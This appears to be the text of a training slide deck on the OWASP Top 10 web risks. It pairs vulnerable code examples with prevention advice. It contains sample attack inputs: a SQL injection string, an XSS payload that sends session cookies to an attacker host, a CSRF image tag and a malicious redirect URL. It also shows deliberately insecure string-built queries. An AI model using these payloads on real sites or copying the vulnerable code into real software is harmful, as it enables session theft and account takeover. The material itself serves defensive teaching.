


 Why Web Security ?
 Who is getting hacked ?
 Who is doing hacking ?
 Who is OWASP ?
 Applying security in depth.

Overview



Who is getting hacked



 Hacktivists
 Anonymous
 Luiz Sec, etc.,

 Online criminals
 Financial Data
 Personal Data

 Nation States
 Cyber warfare

Who is doing hacking ?




OWASP 







A1-Injection
Allows an attacker to execute unintended commands without proper authorization






 Scenario #1: Untrusted Data Input:

String query = "SELECT * FROM accounts WHERE custID='" + 
request.getParameter("id") + "'";

 Scenario #2: Untrusted Frameworks:

Query HQLQuery = session.createQuery(“FROM accounts WHERE 
custID='“ + request.getParameter("id") + "'");

 Attack: In both cases, the attacker modifies the ‘id’ parameter value in her 
browser to send: ' or '1'='1. For example:

http://example.com/app/accountView?id=' or '1'='1

A1-Injection
Allows an attacker to execute unintended commands without proper authorization




For All Application Input:

 Use a data security framework (Safe API).

 Route all data input validation through the Safe API.

 White list all input.

 Scan all data for malicious characters (See OWASP ESAPI).

 Separate queries, and parameters (parameterized queries).

 Perform extensive data tests on the Safe API.

How Do I Prevent 
'Injection'?




 Scenario #1: URL Rewriting:

<sessionState cookieless=“true” />

http://example.com/orders/(2P0OCJNDLPSKHCJUN2JV)/cart.aspx?qui
ckpay

A2-Broken Authentication and 
Session Management

Allows an attacker to compromise passwords, keys, and session tokens to assume other 
user’s identities.




 Scenario #2: Application Timeouts:

<sessionState timeout=“120” />

Session Management




 Scenario #3: Clear Text Passwords:

UserId     UserName     Password
------- --------- ---------
10151      ksmith1      Kitty52
10152      bjones       FordTruck
10153      itguy        !amS3cur3

Account Management




 Strong authentication and session management controls
 Establish an IAM Security Framework
 Follow OWASP’s Application Security Verification Standard
 Simple Interfaces for Developers

 Avoid URL based session management

 Implement Strong password management.

 Use salted hashes for passwords 

 References : 
 OWASP Authentication Cheat Sheet
 OWASP Session Management Cheat Sheet

How Do I Prevent 'Broken Authentication 
and Session Management'?




A3-Cross-Site Scripting (XSS)




 Scenario #1: Untrusted Data:

String page += "<input name='creditcard' type='TEXT' value='" 
+ request.getParameter("CC") + "'>";

 Attack: The attacker modifies the ‘CC’ parameter value in their 
browser to send:

'><script>document.location= 'http://www.attacker.com/cgi-
bin/cookie.cgi ?foo='+document.cookie</script>'

The session cookie can be stolen from the XSS injection attack.

A3-Cross-Site Scripting (XSS)
Allows an attacker to execute scripts which can hijack user sessions, deface web 

sites, or redirect users to malicious sites.




For All Untrusted Data:
 Use a content security framework (Safe API).
 Route all untrusted data through the Safe API.
 Scan all data for malicious characters.
 Separate untrusted data from active browser content.
 Perform extensive data tests on the Safe API.
 For rich content, consider auto-sanitization controls or libraries 

like OWASP’s AntiSamy or the Java HTML Sanitizer Project.
 References:

 OWASP XSS Prevention Cheat Sheet

How Do I Prevent 'Cross-Site Scripting (XSS)'





A4-Insecure Direct Object References



 Scenario #1: Unverified Data:

SqlCommand cmd = new SqlCommand(“SELECT * FROM UserAccount WHERE AccountID = 
@ID”, dbConn);
cmd.Parameters.Add(“@ID”, Request[“ID”]);
cmd.Prepare();
SqlDataReader reader = cmd.ExecuteReader();

 Attack: The attacker modifies the ‘ID’ parameter value in their browser to 
send:

Since the ID input value is unverified, the attacker can use this page to view 
other account information for any users account that matches.

A4-Insecure Direct Object References
Allows an attacker to manipulate these references to access unauthorized data




For All User Accessible Objects:
 Verify all user requests.

 Each user request must be authorized.

 Check access controls. Verify user permissions to perform the requested 
function.

 Use per user or session indirect object references.
This prevents attackers from directly targeting unauthorized resources. Ex: 
DOR user accessing DEW transaction.

 References:

 ESAPI Access Reference Map API

 ESAPI Access Control API (isAuthorizedForData(), isAuthorizedForFile(), 
isAuthorizedForFunction() )

How Do I Prevent 'Insecure Direct Object 
References'?




A5-Security Misconfiguration




 Scenario #1: Admin Console:

The app server admin console is automatically installed and not removed. 

Default accounts aren’t changed. 

 Scenario #2: Directory Listing:

Directory listing is not disabled on your server. 

Attacker finds and downloads all your compiled Java classes, 

which she decompiles and reverse engineers to get all your custom code. 

 Scenario #3: Error Handling:

Attackers love the extra information error messages provide.

A5-Security Misconfiguration
Allows an attacker to exploit known software vulnerabilities for malicious intent




Establish All of the following:
 Configure Staging, QA, and Production environments identically (with 

different passwords).

 Maintain all environmental software updates and patches as well as code 
libraries.

 Utilize a Separation of Duty (SoD) architecture that provides effective, secure 
separation between components.

 Repeated scans and audits to help detect future misconfigurations or missing 
patches.

How Do I Prevent 'Security 
Misconfiguration'?





A6-Sensitive Data Exposure




 Scenario #1: SQL Injection Flaw:

An application uses transparent database encryption to store credit 
card numbers. A SQL injection flaw allows an attacker to retrieve 
credit card numbers in clear text. 

A6-Sensitive Data Exposure
Allows an attacker to steal or modify weakly protected data to conduct cyber crimes




 Scenario #2: Session Hijacking:

A site simply doesn’t use SSL for all authenticated pages. 
Attacker simply monitors network traffic (like an open wireless 
network), and steals the user’s session cookie.

A6-Sensitive Data Exposure




 Scenario #3: Rainbow Attack:

The password database uses unsalted hashes to store 
everyone’s passwords. A file upload flaw allows an attacker to 
retrieve the password file. All of the unsalted hashes can be 
exposed with a rainbow table of pre calculated hashes.

A6-Sensitive Data Exposure




Do All of the following for sensitive data:

 Encrypt sensitive data at rest and in transit securely.
 Ensure strong encryption algorithms(Rijndael, Twofish, etc.). 
 Ensure passwords are stored with a strong salted hash 

algorithm (SHA-2, BLAKE, etc.).
 Don’t store sensitive data unnecessarily. Discard it as soon as 

possible. Data you don’t have can’t be stolen.
 Disable autocomplete on forms collecting sensitive data 
 Disable caching for pages that contain sensitive data.

How Do I Prevent 'Sensitive Data 
Exposure'?





A7-Missing Function Level Access 
Control




 Scenario #1: Unauthenticated Access:

http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo

 Scenario #2: Unenforced Authorization:

A7-Missing Function Level Access Control
Allows an attacker to forge requests to access functionality without authorization




 Common Authorization Module.

 Least Privileged Access. Enforcement should deny all access by 
default, requiring explicit grants to specific roles for access to 
every function.

 If the function is involved in a workflow or wizard, validate 
access controls during all steps until completion.

 Don’t rely on the UI: Most web applications don’t display links 
and buttons to unauthorized functions, but this “presentation 
layer access control” doesn’t actually provide protection. You 
must also implement checks in the controller or business logic.

How Do I Prevent 'Missing Function 
Level Access Control'?





A8-Cross-Site Request Forgery 
(CSRF)




 Scenario: Open Requests:

The application allows a user to submit a state changing request that 
does not include anything secret. For example:
http://example.com/account/edit?email=attacker@email.com

So, the attacker constructs a request that will transfer the primary 
account email from the victim’s email to the attacker’s email, and then 
embeds this attack in an image request or iframe stored on various 
sites under the attacker’s control:
<img 
src="http://example.com/account/edit?email=attacker@email.com" 
width="0" height="0" />

If the victim visits any of the attacker’s sites while already 
authenticated to example.com, these forged requests will 
automatically execute the attacker’s request. The attacker could then 
use this update to reset a user’s password via email.

A8-Cross-Site Request Forgery 
(CSRF)

Allows an attacker to generate requests that vulnerable applications think are legitimate




 Preventing CSRF usually requires the inclusion of an unpredictable 

token in each HTTP request. Such tokens should, at a minimum, be 
unique per user session.

 The preferred option is to include the unique token in a hidden 
random field. 

<input type=“hidden” name=“br549” value=“wif&YM4$2393)5T112@” />

This causes the value to be sent in the body of the HTTP request, 
avoiding its inclusion in the URL, which is more prone to 
exposure.

 Requiring the user to re-authenticate, or prove they are a user (e.g., 
via a CAPTCHA) can also protect against CSRF.

How Do I Prevent 'Cross-Site 
Request Forgery (CSRF)'?





A9-Using Components with Known 
Vulnerabilities




 Scenario #1: Unpatched Vulnerabilities:

Component vulnerabilities can cause almost any type of risk imaginable, ranging from the 
trivial to sophisticated malware designed to target a specific organization. Components 
almost always run with the full privilege of the application, so flaws in any component can 
be serious, The following two vulnerable component was downloaded 22m times in 2011.

Ex: Apache CXF Authentication Bypass – By failing to provide an identity token, attackers 
could invoke any web service with full permission. 

A9-Using Components with Known 
Vulnerabilities

Allows an attacker to undermine application defenses and exploit a range of attacks




 One option is not to use components that you didn’t write. But 

that’s not very realistic.
 Identify all components and versions being used, including all 

dependencies.
 Most component projects do not create vulnerability patches for 

old versions. Instead, most simply fix the problem in the next 
version. So upgrading to these new versions is critical. 

 Monitor the security of these components and keep them up to 
date. Repeated vulnerability scans on new releases.

 Establish security policies governing component use, such as 
requiring certain software development practices, passing 
security tests, and acceptable licenses.

How Do I Prevent 'Using Components 
with Known Vulnerabilities'?





A10-Unvalidated Redirects and 
Forwards




 Scenario #1: Unchecked Redirects:

The application has a page called “redirect.jsp” which takes a single parameter 
named “url”. The attacker crafts a malicious URL that redirects users to a 
malicious site that performs phishing and installs malware.

http://www.example.com/redirect.jsp?url=evil.com

 Scenario #2: Unchecked Permissions:

The application uses forwards to route requests between different parts of the 
site. To facilitate this, some pages use a parameter to indicate where the user 
should be sent if a transaction is successful. In this case, the attacker crafts a 
URL that will pass the application’s access control check and then forwards the 
attacker to administrative functionality for which the attacker isn’t authorized.

http://www.example.com/boring.jsp?fwd=admin.jsp

A10-Unvalidated Redirects and 
Forwards

Allows an attacker to redirect to phishing or malware sites or access unauthorized pages




 Simply avoid unchecked redirects and forwards.
 If used, don’t involve user parameters in calculating the 

destination. This can usually be done.
 If destination parameters can’t be avoided, ensure that the 

supplied value is valid, and authorized for the user.
It is recommended that any such destination parameters be a 
mapping value, rather than the actual URL or portion of the 
URL, and that server side code translate this mapping to the 
target URL. Use a Safe API to make sure all redirect 
destinations are valid.

 Avoiding such flaws is extremely important as they are a 
favorite target of phishers trying to gain the user’s trust.

How Do I Prevent 'Unvalidated 
Redirects and Forwards'?




OWASP
 https://www.owasp.org/index.php/Top_10_2013-

Top_10

 Plural Sight
 http://www.pluralsight.com/training/courses/index

References




